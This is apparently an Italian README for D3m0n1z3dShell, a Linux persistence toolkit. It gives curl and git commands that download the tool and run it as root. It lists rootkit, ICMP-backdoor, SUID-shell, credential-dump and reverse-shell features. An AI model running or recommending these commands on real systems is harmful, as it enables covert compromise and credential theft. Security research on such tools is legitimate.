「😈」Informazioni su D3m0n1z3dShell

Demonized Shell è uno strumento avanzato per la persistenza in Linux.

Installazione

git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git
cd D3m0n1z3dShell
chmod +x demonizedshell.sh
sudo ./demonizedshell.sh

Installazione con un comando

Scarica D3m0n1z3dShell con tutti i file:

curl -L https://github.com/MatheuZSecurity/D3m0n1z3dShell/archive/main.tar.gz | tar xz && cd D3m0n1z3dShell-main && sudo ./demonizedshell.sh

Carica D3m0n1z3dShell staticamente (senza la directory static-binaries):

sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh

Funzionalità di Demonized

• Genera automaticamente coppie di chiavi SSH per tutti gli utenti
• Persistenza APT
• Persistenza Crontab
• Livello utente Systemd
• Livello root Systemd
• Persistenza bashrc
• Utente privilegiato e bash SUID
• Rootkit LKM modificato, che bypassa rkhunter.
• Rootkit LKM con codificatore di file. backdoor icmp persistente e altre funzionalità.
• Backdoor ICMP
• Configurazione LD_PRELOAD per PrivEsc
• Binari statici per monitoraggio dei processi, dump delle credenziali, enumerazione, trolling e altri binari.

Funzionalità in sospeso

• Injection di processi
• installazione per esempio: curl github.com/test/test/demonized.sh | bash
• D3m0n1z3dShell statico
• Tecnica anti-reverse per ELF/Rootkit
• Backdoor PAM
• Persistenza rc.local
• Persistenza init.d
• Persistenza motd
• Persistenza tramite ACL.
• Reverse shell con un nome di processo a tua scelta.
• Persistenza udev.
• Persistenza del rootkit LKM dopo il riavvio.

E altri tipi di funzionalità che arriveranno in futuro.

Contributo

Se vuoi contribuire e aiutare con lo strumento, contattami su Twitter: @MatheuzSecurity

Nota

Non siamo responsabili per eventuali danni causati da questo strumento, utilizzalo in modo intelligente e solo per scopi educativi.